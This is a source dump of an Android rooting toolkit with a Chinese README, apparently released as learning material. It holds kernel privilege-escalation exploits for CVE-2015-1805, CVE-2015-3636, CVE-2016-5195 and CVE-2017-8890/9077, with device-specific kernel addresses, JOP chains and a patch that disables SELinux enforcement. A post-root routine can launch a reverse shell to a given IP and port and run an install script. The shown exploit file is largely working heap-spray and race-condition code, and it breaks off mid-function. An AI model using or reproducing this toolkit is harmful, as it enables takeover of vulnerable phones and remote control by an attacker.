├── .gitignore ├── LICENSE ├── Makefile ├── README.org ├── exploit ├── CVE-2015-1805 │ ├── 1021 │ │ ├── rootz.c │ │ └── rootz.h │ └── 1022 │ │ ├── rootz.c │ │ └── rootz.h ├── CVE-2015-3636 │ └── 1041 │ │ ├── rootz.c │ │ └── rootz.h ├── CVE-2016-5195 │ ├── 1051 │ │ ├── rootz.c │ │ └── rootz.h │ └── ext │ │ ├── jni │ │ ├── Android.mk │ │ └── Application.mk │ │ └── run-as.c ├── CVE-2017-8890 │ ├── 1001 │ │ ├── rootz.c │ │ ├── rootz.h │ │ ├── rootz32.c │ │ └── rootz64.c │ ├── 1002 │ │ ├── rootz.c │ │ ├── rootz.h │ │ └── rootz64.c │ ├── 1003 │ │ ├── rootz.c │ │ └── rootz.h │ └── 1004 │ │ ├── rootz.c │ │ ├── rootz.h │ │ └── slabinfo.c └── CVE-2017-9077 │ └── 1010 │ ├── rootz.c │ └── rootz.h ├── jni ├── Android.mk └── Application.mk ├── root_info.sql ├── rootz ├── 1001 ├── 1002 ├── 1003 ├── 1004 ├── 1010 ├── 1021 ├── 1022 ├── 1041 ├── 1051 └── onekeyroot │ ├── HUAWEI_VTR-AL00_HWVTR+7.0_HUAWEIVTR-AL00_C00B109SP01+user_release-keys │ ├── Huawei_MT7-TL10_hwmt7+6.0_HuaweiMT7-TL10_C00B555+user_release-keys │ ├── google_hammerhead_hammerhead+6.0.1_M4B30Z_3437181+user_release-keys │ └── readme.txt └── utils ├── device.c ├── dict.c ├── fn.c ├── include ├── device.h ├── dict.h ├── fn.h ├── log.h ├── param.h ├── roothelper.h ├── shell.h └── silly.h ├── log.c ├── param.c ├── roothelper.c ├── shell.c └── silly.c /.gitignore: -------------------------------------------------------------------------------- 1 | libs 2 | obj 3 | .DS_Store 4 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk 2 | 3 | .PHONY: clean 4 | clean: 5 | rm -rf obj libs 6 | 7 | .PHONY: build 8 | build: clean 9 | @echo "\033[33m[+] Build for $(RS) \033[0m" 10 | ndk-build RS=$(RS) 11 | 12 | .PHONY: all 13 | all: 14 | mkdir -p rootz 15 | make build RS=CVE-2017-8890/1001 && cp -rf libs/armeabi-v7a/rootz rootz/1001 16 | make build RS=CVE-2017-8890/1002 && cp -rf libs/armeabi-v7a/rootz rootz/1002 17 | make build RS=CVE-2017-8890/1003 && cp -rf libs/armeabi-v7a/rootz rootz/1003 18 | make build RS=CVE-2017-8890/1004 && cp -rf libs/armeabi-v7a/rootz rootz/1004 19 | make build RS=CVE-2017-9077/1010 && cp -rf libs/armeabi-v7a/rootz rootz/1010 20 | make build RS=CVE-2015-1805/1021 && cp -rf libs/armeabi-v7a/rootz rootz/1021 21 | make build RS=CVE-2015-1805/1022 && cp -rf libs/armeabi-v7a/rootz rootz/1022 22 | make build RS=CVE-2016-5195/1051 && cp -rf libs/armeabi-v7a/rootz rootz/1051 23 | make build RS=CVE-2015-3636/1041 && cp -rf libs/armeabi-v7a/rootz rootz/1041 24 | 25 | install: build 26 | adb shell rm -rf /data/local/tmp/rootz 27 | adb push libs/armeabi-v7a/rootz /data/local/tmp 28 | 29 | test: install 30 | adb shell chmod 777 /data/local/tmp/rootz 31 | adb shell /data/local/tmp/rootz 32 | -------------------------------------------------------------------------------- /README.org: -------------------------------------------------------------------------------- 1 | #+OPTIONS: ^:{} 2 | #+OPTIONS: toc:nil 3 | #+AUTHOR: idhyt 4 | 5 | [[https://github.com/idhyt/androotzf][androotzf]] 最近整理电脑时看到的吃灰代码, 早期研究 Android Root 时做的提权方案. 6 | 7 | 感激曾经一起学习和共事的伙伴们, 开源大部分功能为后来者提供一套学习素材. 8 | 9 | ** Warning 10 | 11 | *请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途!* 12 | 13 | *道路千万条, 安全第一条, 行车不规范, 亲人两行泪.* 14 | 15 | ** Android Root Zap Framework [100%] 16 | 17 | - [X] 通用的序列化root适配参数 18 | - [X] 非常容易集成, 只需要根据漏洞实现任意读写即可 19 | - [X] 通用内核提取patch方案, 任意读写后一个函数全搞定 20 | - [X] 内核保护机制绕过(PXN, SElinux) 21 | - [X] 部分厂商内核保护机制绕过(huawei, samsung, oppo, vivo) 22 | 23 | ** Exploit(部分) 24 | 25 | *1001*: CVE-2017-8890 v1版, 适配Nexus6P 26 | 27 | *1002*: CVE-2017-8890 v2版, 适配华为P10 28 | 29 | *1003*: CVE-2017-8890 兼容所有64位机型,如Nexus6p, 华为MT7, MT10, P10等 30 | 31 | *1004*: CVE-2017-8890 针对32位机型,如Nexus5 32 | 33 | *1010*: CVE-2017-9077 同CVE-2017-8890 34 | 35 | *1021*: CVE-2015-1805 V1, 适配SM-A700L 36 | 37 | *1022*: CVE-2015-1805 V2, 适配更多机型 38 | 39 | *1041*: CVE-2015-3636 适配了nexus4等机型 40 | 41 | *1051*: CVE-2016-5195 dirtycow漏洞, android 5.0以下机型 42 | 43 | ** Build 44 | 45 | 需要保证主机上存在 make 和 ndk-build (版本过高可能存在兼容性问题, 建议小于25以下版本) 46 | 47 | #+begin_src shell 48 | 49 | make build RS=CVE-2015-1805/1022 50 | 51 | #+end_src 52 | 53 | ** Integration 54 | 55 | *** 标志位 56 | 57 | #+begin_example 58 | 59 | n=sn&k=[101=kfunc1;102=kfunc2;]&j=[index1=jop1;0x=0x0;index2=jop2;0x0=0x0;]&p[addr=value=len;] 60 | 61 | #+end_example 62 | 63 | 64 | - n: 方案号 65 | 66 | - k: *内核函数* 地址以及一些常用的 *偏移量*, 需要提前在 *param.h* 中声明, 包含在 *[]* 中,用 *;* 分割, 结尾必须包含 *;* 67 | 68 | - j: jop地址, 包含在 *[]* 中, 用 *;* 分割, 结尾必须包含 *;* , 每条jop以 *0x0=0x0* 结尾, 结尾必须包含 *;* , 预留了5条jop 69 | 70 | - p: root后patch地址与内存修复, 主要针对selinux和需要修复的寄存器, 包含在 *[]* 中, 用 *;* 分割, 结尾必须包含 *;* 71 | 72 | - r: 可选参数, 反弹shell和脚本, 需要提前在 *param.h* 中声明, 包含在 *[]* 中, 用 *;* 分割, 结尾必须包含 *;* 73 | 74 | 每个参数标志位由 *&* 分割, 如: 75 | 76 | #+begin_example 77 | 78 | n=sn&k=[101=kfunc1;102=kfunc2;]&j=[index1=jop1;0x=0x0;index2=jop2;0x0=0x0;]&p[addr=value=len;]&r=[901=ip;902=port;903=install.sh;] 79 | 80 | #+end_example 81 | 82 | *** 适配参数示例 83 | 84 | Nexus 6P 适配参数如下: 85 | 86 | #+begin_src shell 87 | 88 | ./rootz "n=1001&k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]&j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;]" 89 | 90 | #+end_src 91 | 92 | n=1001: 方案号1001 93 | 94 | #+begin_example 95 | 96 | k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;] 97 | 98 | #+end_example 99 | 100 | param.h中定义了 101 | 102 | #+begin_src c 103 | 104 | #define k_ptmx_fops "101" 105 | #define k_ptmx_ioctl_offset "102" 106 | #define k_init_task "104" 107 | #define k_task_security_offset "105" 108 | 109 | #+end_src 110 | 111 | 最终解析后会自动赋值. (r字段相同解析方式) 112 | 113 | #+begin_example 114 | 115 | j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;] 116 | 117 | #+end_example 118 | 119 | 以 0x0=0x0 分割,总共2条jop, 解析后对应的jop结构为 120 | 121 | #+begin_example 122 | 123 | jop1: 124 | {0x180, 0xaaaaaaaa} 125 | {0x158, 0xbbbbbbbb} 126 | {0x2d0, 0xffffffc00024c2c4} 127 | {0x0, 0x0} 128 | jop2: 129 | {0x0, 0xffffffc000afe07c} 130 | {0x28, 0xbbbbbbbb} 131 | {0x48, 0xffffffc0002ef958} 132 | {0x90, 0xdddddddd} 133 | {0x10, 0xffffffc000ce6000} 134 | {0x8, 0xffffffc000318610} 135 | {0x0, 0x0} 136 | 137 | #+end_example 138 | 139 | p=[0xffffffc00193a1bc=0x0=0x4;] 140 | 141 | 总共一个patch的地址,地址为0xffffffc00193a1bc(selinux_enforcing), 值为0, 长度4个字节 142 | 143 | 解析成对应的patch结构为 144 | 145 | #+begin_example 146 | 147 | p_patch: 148 | {0xffffffc00193a1bc, 0x0, 0x4} 149 | {0x0, 0x0, 0x0} 150 | 151 | #+end_example 152 | 153 | *** 新增root方案集成 154 | 155 | 代码部分需要引入参数解析部分内容, 主要为 *rootz_before* 和 *rootz_after* 两个函数, 代码形似 156 | 157 | #+begin_src c 158 | 159 | int main(int argc, char *argv[]) { 160 | 161 | if(rootz_before(argc, argv)) { 162 | log_dump(LOG_ERR, "[-] rootz_before failed!\n"); 163 | return -1; 164 | } 165 | 166 | // 提权操作 167 | exploit(); 168 | 169 | if(rootz_after()) { 170 | log_dump(LOG_ERR, "[-] rootz_after failed!\n"); 171 | } 172 | 173 | while(1); 174 | 175 | return 0; 176 | } 177 | 178 | #+end_src 179 | 180 | 引入的代码内容如下: 181 | 182 | 183 | #+begin_src c 184 | 185 | /* ------------------ root define begin ------------------- */ 186 | #include "rootz.h" 187 | #include "log.h" 188 | 189 | /* adp args */ 190 | static int adp_sn; 191 | static unsigned long adp_init_task; 192 | static unsigned long adp_task_security_offset; 193 | 194 | static unsigned long adp_ptmx_fops; 195 | static unsigned long adp_ptmx_ioctl_offset; 196 | static unsigned long adp_patch_ptmx_ioctl_jop; 197 | 198 | /* run script path */ 199 | static char adp_script_path[0xff] = { 0 }; 200 | 201 | /* reverse shell ip&port */ 202 | static char adp_rshell_ip[0x40] = { 0 }; 203 | static char adp_rshell_port[0x10] = { 0 }; 204 | 205 | /* 206 | 初始化适配参数 207 | ,*/ 208 | #include "dict.h" 209 | 210 | extern dict_t *transl_param_dict; 211 | 212 | static int get_adp_ulval(char *name, unsigned long *value) { 213 | char *var; 214 | 215 | if (!dict_get(transl_param_dict, name, (void **)&var)) { 216 | log_dump(LOG_ERR, "[-] get %s failed\n", name); 217 | return 0; 218 | } 219 | ,*value = strtoul(var, NULL, 16); 220 | log_dump(LOG_DEBUG, "%s = 0x%lx\n", name, *value); 221 | return 1; 222 | } 223 | 224 | static int get_adp_str(char *name, char *value, int len) { 225 | char *var; 226 | 227 | if (!dict_get(transl_param_dict, name, (void **)&var)) { 228 | log_dump(LOG_ERR, "[-] get %s failed\n", name); 229 | return 0; 230 | } 231 | strncpy(value, var, len); 232 | log_dump(LOG_DEBUG, "%s = %s, %d\n", name, value, strlen(value)); 233 | return 1; 234 | } 235 | 236 | static int rootz_before(int argc, char *argv[]) { 237 | // 设置日志路径, 不设置则打印到控制台 238 | // set_logfile_path("/data/local/tmp/8890.log"); 239 | // 适配参数初始化 240 | if (parse_args(argc, argv) < 0) { 241 | log_dump(LOG_ERR, "[-] parse_args failed\n"); 242 | return -1; 243 | } 244 | 245 | char *var; 246 | 247 | // 0 failed 248 | 249 | /* root before */ 250 | if (!dict_get(transl_param_dict, n_sn, (void **)&var)) { 251 | log_dump(LOG_ERR, "[-] get n_sn failed\n"); 252 | return -1; 253 | } 254 | adp_sn = atoi(var); 255 | log_dump(LOG_DEBUG, "adp_sn = %d\n", adp_sn); 256 | 257 | if(!get_adp_ulval(k_init_task, &adp_init_task)) return -1; 258 | if(!get_adp_ulval(k_task_security_offset, &adp_task_security_offset)) return -1; 259 | if(!get_adp_ulval(k_ptmx_fops, &adp_ptmx_fops)) return -1; 260 | if(!get_adp_ulval(k_ptmx_ioctl_offset, &adp_ptmx_ioctl_offset)) return -1; 261 | if(!get_adp_ulval(j_patch_ptmx_ioctl_jop, &adp_patch_ptmx_ioctl_jop)) return -1; 262 | 263 | /* root after */ 264 | get_adp_str(r_script_path, adp_script_path, sizeof(adp_script_path)); 265 | get_adp_str(r_rshell_ip, adp_rshell_ip, sizeof(adp_rshell_ip)); 266 | get_adp_str(r_rshell_port, adp_rshell_port, sizeof(adp_rshell_port)); 267 | 268 | #if 0 269 | printf(" adp_init_task = 0x%lx\n", adp_init_task); 270 | printf(" adp_task_security_offset = 0x%lx\n", adp_task_security_offset); 271 | printf(" adp_ptmx_fops = 0x%lx\n", adp_ptmx_fops); 272 | printf(" adp_ptmx_ioctl_offset = 0x%lx\n", adp_ptmx_ioctl_offset); 273 | printf(" adp_patch_ptmx_ioctl_jop = 0x%lx\n", adp_patch_ptmx_ioctl_jop); 274 | 275 | #endif 276 | 277 | 278 | return 0; 279 | } 280 | 281 | /* 282 | 提权过后的操作 283 | ,*/ 284 | 285 | static int rootz_after() { 286 | char *var; 287 | 288 | if(strlen(adp_script_path)) { 289 | run_shell_commond("/system/bin/sh", adp_script_path); 290 | } 291 | 292 | if(strlen(adp_rshell_ip) && strlen(adp_rshell_port)) { 293 | log_dump(LOG_DEBUG, "rshell: ip = %s, port = %s\n", adp_rshell_ip, adp_rshell_port); 294 | rshell_simple(adp_rshell_ip, adp_rshell_port); 295 | } 296 | 297 | dict_destory(transl_param_dict); 298 | free(transl_param_dict); 299 | return 0; 300 | } 301 | 302 | /* ------------------ root define end ------------------- */ 303 | 304 | #+end_src 305 | 306 | 完整的参数解析流日志: 307 | 308 | #+begin_src shell 309 | 310 | [*] /system/bin/sh -c "/data/local/tmp/rootz 'n=1001&k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]&j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;]&r=[901=192.168.0.105;902=4000;903=/data/local/tmp/install.sh;]'" 311 | args: n=1001 312 | key = n, value = 1001 313 | args: k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;] 314 | key = k, value = [101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;] 315 | args: j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;] 316 | key = j, value = [0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;] 317 | jop num = 2 318 | args: p=[0xffffffc00193a1bc=0x0=0x4;] 319 | key = p, value = [0xffffffc00193a1bc=0x0=0x4;] 320 | p_addr = 0xffffffc00193a1bc, p_value = 0x0, p_len = 0x4 321 | args: r=[901=192.168.0.105;902=4000;903=/data/local/tmp/install.sh;] 322 | key = r, value = [901=192.168.0.105;902=4000;903=/data/local/tmp/install.sh;] 323 | 324 | transl_param_dict: 0x7104a02060 325 | 104 => 0xffffffc001779fe0 326 | 105 => 0x70 327 | 201 => 0xffffffc00074c954 328 | n => 1001 329 | 901 => 192.168.0.105 330 | 902 => 4000 331 | 903 => /data/local/tmp/install.sh 332 | 101 => 0xffffffc001a044a0 333 | 102 => 0x48 334 | 335 | j_jop: 336 | jop1: 337 | {0x180, 0xaaaaaaaa} 338 | {0x158, 0xbbbbbbbb} 339 | {0x2d0, 0xffffffc00024c2c4} 340 | {0x0, 0x0} 341 | jop2: 342 | {0x0, 0xffffffc000afe07c} 343 | {0x28, 0xbbbbbbbb} 344 | {0x48, 0xffffffc0002ef958} 345 | {0x90, 0xdddddddd} 346 | {0x10, 0xffffffc000ce6000} 347 | {0x8, 0xffffffc000318610} 348 | {0x0, 0x0} 349 | jop3: 350 | {0x0, 0x0} 351 | jop4: 352 | {0x0, 0x0} 353 | jop5: 354 | {0x0, 0x0} 355 | 356 | p_patch: 357 | {0xffffffc00193a1bc, 0x0, 0x4} 358 | {0x0, 0x0, 0x0} 359 | adp_sn = 1001 360 | 104 = 0xffffffc001779fe0 361 | 105 = 0x70 362 | 101 = 0xffffffc001a044a0 363 | 102 = 0x48 364 | 201 = 0xffffffc00074c954 365 | 903 = /data/local/tmp/install.sh, 26 366 | 901 = 192.168.0.105, 13 367 | 902 = 4000, 4 368 | 369 | #+end_src 370 | 371 | ** References 372 | 373 | [[https://idhyt.blogspot.com/2019/01/cve-2017-8890.html][cve-2017-8890]], [[https://idhyt.blogspot.com/2016/10/cve-2016-5195.html][cve-2016-5195]], [[https://idhyt.blogspot.com/2016/03/cve-2015-3636.html][cve-2015-3636]], [[https://idhyt.blogspot.com/2016/07/cve-2015-1805.html][cve-2015-1805]] 374 | -------------------------------------------------------------------------------- /exploit/CVE-2015-1805/1021/rootz.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | /* ------------------ root define begin ------------------- */ 19 | #include "param.h" 20 | #include "rootz.h" 21 | #include "log.h" 22 | #include "silly.h" 23 | #include "fn.h" 24 | #include "shell.h" 25 | #include "roothelper.h" 26 | #include "dict.h" 27 | 28 | /* adp args */ 29 | static int adp_sn; 30 | static unsigned long adp_init_task; 31 | static unsigned long adp_task_security_offset; 32 | static unsigned long adp_task_cred_uid_offset; 33 | 34 | static unsigned long adp_ptmx_fops; 35 | static unsigned long adp_ptmx_ioctl_offset; 36 | 37 | // used to control kernel_sock_ioctl regs 38 | static unsigned long adp_before_kernel_sock_ioctl; 39 | 40 | /* 41 | 初始化适配参数 42 | */ 43 | 44 | extern dict_t *transl_param_dict; 45 | 46 | static int get_adp_ulval(char *name, unsigned long *value) { 47 | 48 | return dict_get_ulval(transl_param_dict, name, value); 49 | 50 | } 51 | 52 | static int get_adp_str(char *name, char *value, int len) { 53 | 54 | return dict_get_str(transl_param_dict, name, value, len); 55 | } 56 | 57 | static int rootz_before(int argc, char *argv[]) { 58 | // 设置日志路径, 不设置打印到控制台 59 | // set_logfile_path("/data/local/tmp/8890.log"); 60 | // 适配参数初始化 61 | if (parse_args(argc, argv) < 0) { 62 | log_dump(LOG_ERR, "[-] parse_args failed\n"); 63 | return -1; 64 | } 65 | 66 | char *var; 67 | 68 | if(!transl_param_dict) return -1; 69 | 70 | /* root before */ 71 | if (!dict_get(transl_param_dict, n_sn, (void **)&var)) { 72 | log_dump(LOG_ERR, "[-] get n_sn failed\n"); 73 | return -1; 74 | } 75 | adp_sn = atoi(var); 76 | log_dump(LOG_DEBUG, "adp_sn = %d\n", adp_sn); 77 | 78 | if(!get_adp_ulval(k_init_task, &adp_init_task)) return -1; 79 | if(!get_adp_ulval(k_task_security_offset, &adp_task_security_offset)) return -1; 80 | if(!get_adp_ulval(k_task_cred_uid_offset, &adp_task_cred_uid_offset)) return -1; 81 | if(!get_adp_ulval(k_ptmx_fops, &adp_ptmx_fops)) return -1; 82 | if(!get_adp_ulval(k_ptmx_ioctl_offset, &adp_ptmx_ioctl_offset)) return -1; 83 | if(!get_adp_ulval(k_before_kernel_sock_ioctl, &adp_before_kernel_sock_ioctl)) return -1; 84 | 85 | #if 1 86 | printf(" adp_init_task = 0x%lx\n", adp_init_task); 87 | printf(" adp_task_security_offset = 0x%lx\n", adp_task_security_offset); 88 | printf(" adp_task_cred_uid_offset = 0x%lx\n", adp_task_cred_uid_offset); 89 | printf(" adp_ptmx_fops = 0x%lx\n", adp_ptmx_fops); 90 | printf(" adp_ptmx_ioctl_offset = 0x%lx\n", adp_ptmx_ioctl_offset); 91 | printf(" adp_before_kernel_sock_ioctl = 0x%lx\n", adp_before_kernel_sock_ioctl); 92 | 93 | #endif 94 | 95 | return 0; 96 | } 97 | 98 | /* 99 | 提权过后的操作 100 | */ 101 | 102 | static int rootz_after() { 103 | 104 | if(transl_param_dict) { 105 | vendor_protect_bypass(transl_param_dict); 106 | silly_everything_after_root(transl_param_dict); 107 | } 108 | 109 | if(transl_param_dict) { 110 | dict_destory(transl_param_dict); 111 | free(transl_param_dict); 112 | } 113 | 114 | return 0; 115 | } 116 | 117 | 118 | /* ------------------ root define end ------------------- */ 119 | 120 | #define IOV_COUNT (0x200) 121 | #define MAP_SIZE (PAGE_SIZE * 2) 122 | #define MAP_BASE (void*)(0x40000000) 123 | #define OVERFLOW_MAGIC 0xFDCEACBB 124 | #define PIPE_SIZE (PAGE_SIZE * 32) 125 | #define SPRAY_THREAD_COUNT (300) 126 | #define FAILED -1 127 | #define SUCCESSED 0 128 | 129 | static int g_pipe_fd[2]; 130 | static struct iovec g_iov_array[IOV_COUNT]; 131 | static volatile unsigned long g_overflow_flag; 132 | static volatile size_t g_overflow_size; 133 | static volatile int g_is_stop; 134 | static char g_write_buf[PAGE_SIZE]; 135 | static int g_stop_spray; 136 | static struct policydb* g_ppolicydb; 137 | static struct sidtab* g_psidtab; 138 | static char* log_file; 139 | 140 | static char g_jop_buf[0x400]; 141 | 142 | /****************************************************************/ 143 | /* set up environment */ 144 | /****************************************************************/ 145 | static int set_fd_limit() { 146 | struct rlimit rlim; 147 | int ret; 148 | errno = 0; 149 | if ((ret = getrlimit(RLIMIT_NOFILE, &rlim))) { 150 | log_dump(LOG_ERR, "get fd limit failed! error info: %s\n", strerror(errno)); 151 | return ret; 152 | } 153 | log_dump(LOG_DEBUG, "changing fd limit from 0x%08x to 0x%08x success.\n", 154 | rlim.rlim_cur, rlim.rlim_max); 155 | rlim.rlim_cur = rlim.rlim_max; 156 | errno = 0; 157 | if ((ret = setrlimit(RLIMIT_NOFILE, &rlim))) { 158 | log_dump(LOG_ERR, "set file description limit failed! error info : %s\n", 159 | strerror(errno)); 160 | } 161 | return ret; 162 | } 163 | static int set_process_priority() { 164 | int ret; 165 | log_dump(LOG_DEBUG, "changing process priority to highest success.\n"); 166 | errno = 0; 167 | if ((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1) { 168 | log_dump(LOG_ERR, "set process priority failed! error info: %s\n", 169 | strerror(errno)); 170 | } 171 | return ret; 172 | } 173 | 174 | static int setup_pipe() { 175 | errno = 0; 176 | if (pipe(g_pipe_fd)) { 177 | log_dump(LOG_ERR, "create pipe failed! error info : %s\n", strerror(errno)); 178 | return FAILED; 179 | } 180 | errno = 0; 181 | if (fcntl(g_pipe_fd[1], F_SETPIPE_SZ, PIPE_SIZE) != PIPE_SIZE) { 182 | log_dump(LOG_ERR, "set pipe size failed! error info : %s\n", 183 | strerror(errno)); 184 | return FAILED; 185 | } 186 | log_dump(LOG_DEBUG, "setup pipe success.\n"); 187 | 188 | return SUCCESSED; 189 | } 190 | static int setup_mapping() { 191 | errno = 0; 192 | if (mmap(MAP_BASE, MAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, 193 | MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) { 194 | log_dump(LOG_ERR, "mmap at %p failed! error info : %s\n", MAP_BASE, 195 | strerror(errno)); 196 | return FAILED; 197 | } 198 | log_dump(LOG_DEBUG, "setup mapping success.\n"); 199 | 200 | return SUCCESSED; 201 | } 202 | static int setup_heap_spray(void* patch_address) { 203 | int flag_index; 204 | int patch_index; 205 | int flag_len; 206 | int patch_len; 207 | flag_index = ((IOV_COUNT / 2) + 1); 208 | g_iov_array[flag_index].iov_base = (void*)&g_overflow_flag; 209 | flag_len = sizeof(g_overflow_flag); 210 | g_iov_array[flag_index].iov_len = flag_len; 211 | patch_index = ((IOV_COUNT / 2) + 2); 212 | g_iov_array[patch_index].iov_base = patch_address; 213 | patch_len = sizeof(patch_address); 214 | g_iov_array[patch_index].iov_len = patch_len; 215 | g_overflow_size = flag_len + patch_len; 216 | log_dump(LOG_DEBUG, "setup heap spray part of iovec array success.\n"); 217 | 218 | log_dump(LOG_DEBUG, 219 | "iovec[%d].iov_base = 0x%p, iovec[%d].iov_len = 0x%08lx\n", 220 | flag_index, g_iov_array[flag_index].iov_base, flag_index, 221 | g_iov_array[flag_index].iov_len); 222 | log_dump(LOG_DEBUG, 223 | "iovec[%d].iov_base = 0x%p, iovec[%d].iov_len = 0x%08lx\n", 224 | patch_index, g_iov_array[patch_index].iov_base, patch_index, 225 | g_iov_array[patch_index].iov_len); 226 | 227 | return SUCCESSED; 228 | } 229 | static int setup_readv_iovs() { 230 | g_iov_array[0].iov_base = &g_write_buf; 231 | g_iov_array[0].iov_len = g_overflow_size; 232 | g_iov_array[1].iov_base = MAP_BASE; 233 | g_iov_array[1].iov_len = MAP_SIZE - g_iov_array[0].iov_len; 234 | log_dump(LOG_DEBUG, "setup readv part of iovec array success.\n"); 235 | 236 | log_dump(LOG_DEBUG, "iovec[0].iov_base = 0x%p, iovec[0].iov_len = 0x%08lx\n", 237 | g_iov_array[0].iov_base, g_iov_array[0].iov_len); 238 | log_dump(LOG_DEBUG, "iovec[1].iov_base = 0x%p, iovec[1].iov_len = 0x%08lx\n", 239 | g_iov_array[1].iov_base, g_iov_array[1].iov_len); 240 | 241 | return SUCCESSED; 242 | } 243 | static int setup_write_buffer(long patch_value) { 244 | unsigned long i; 245 | for (i = 0; i < (sizeof(g_write_buf) / sizeof(g_overflow_flag)); i++) { 246 | ((unsigned long*)g_write_buf)[i] = patch_value; 247 | } 248 | log_dump(LOG_DEBUG, "setup write pipe buffer success.\n"); 249 | 250 | log_dump(LOG_DEBUG, "buffer address = 0x%p, size = 0x%08lx\n", &g_write_buf, 251 | sizeof(g_write_buf)); 252 | 253 | return SUCCESSED; 254 | } 255 | 256 | /****************************************************************/ 257 | /* trigger */ 258 | /****************************************************************/ 259 | static void* map_unmap_thread() { 260 | while (!g_is_stop) { 261 | munmap(MAP_BASE, MAP_SIZE); 262 | mmap(MAP_BASE, MAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, 263 | MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); 264 | usleep(50); 265 | } 266 | pthread_exit(NULL); 267 | } 268 | static int start_map_unmap() { 269 | pthread_t tid_unmap; 270 | int err_ret = 0; 271 | err_ret = pthread_create(&tid_unmap, NULL, map_unmap_thread, NULL); 272 | if (err_ret) { 273 | log_dump(LOG_ERR, "start map/unmap failed! error info : %s\n", 274 | strerror(err_ret)); 275 | return FAILED; 276 | } 277 | log_dump(LOG_DEBUG, "start map/unmap success.\n"); 278 | return SUCCESSED; 279 | } 280 | static void* write_pipe_thread() { 281 | while (!g_is_stop) { 282 | errno = 0; 283 | write(g_pipe_fd[1], g_write_buf, sizeof(g_write_buf)); 284 | } 285 | pthread_exit(NULL); 286 | } 287 | int start_write_pipe() { 288 | pthread_t tid_write; 289 | int err_ret = 0; 290 | err_ret = pthread_create(&tid_write, NULL, write_pipe_thread, NULL); 291 | if (err_ret) { 292 | log_dump(LOG_ERR, "start write pipe failed! error info : %s\n", 293 | strerror(err_ret)); 294 | return FAILED; 295 | } 296 | log_dump(LOG_DEBUG, "start write pipe success.\n"); 297 | return SUCCESSED; 298 | } 299 | static void* heap_spray_thread() { 300 | int sock_fd; 301 | struct mmsghdr msg; 302 | struct sockaddr_in sock_addr; 303 | int tid; 304 | memset(&msg, 0, sizeof(msg)); 305 | memset(&sock_addr, 0, sizeof(sock_addr)); 306 | sock_addr.sin_family = AF_INET; 307 | sock_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 308 | sock_addr.sin_port = htons(10000); 309 | tid = gettid(); 310 | errno = 0; 311 | sock_fd = socket(AF_INET, SOCK_DGRAM, 0); 312 | if (sock_fd == -1) { 313 | pthread_exit((void*)FAILED); 314 | } 315 | errno = 0; 316 | if (connect(sock_fd, (const struct sockaddr*)&sock_addr, sizeof(sock_addr)) == 317 | -1) { 318 | pthread_exit((void*)FAILED); 319 | } 320 | msg.msg_hdr.msg_iov = g_iov_array; 321 | msg.msg_hdr.msg_iovlen = IOV_COUNT; 322 | msg.msg_hdr.msg_control = g_iov_array; 323 | msg.msg_hdr.msg_controllen = IOV_COUNT * sizeof(struct iovec); 324 | while (!g_stop_spray) { 325 | syscall(__NR_sendmmsg, sock_fd, &msg, 1, 0); 326 | } 327 | close(sock_fd); 328 | pthread_exit(NULL); 329 | } 330 | static int start_heap_spray() { 331 | log_dump(LOG_DEBUG, "start heap spray success.\n"); 332 | pthread_t spray_thread[SPRAY_THREAD_COUNT]; 333 | void* val; 334 | int err_ret = 0; 335 | int i; 336 | for (i = 0; i < SPRAY_THREAD_COUNT; ++i) { 337 | err_ret = pthread_create(&spray_thread[i], NULL, heap_spray_thread, NULL); 338 | if (err_ret) { 339 | log_dump(LOG_ERR, 340 | "create heap spray for %d times failed! error info : %s\n", i, 341 | strerror(err_ret)); 342 | return FAILED; 343 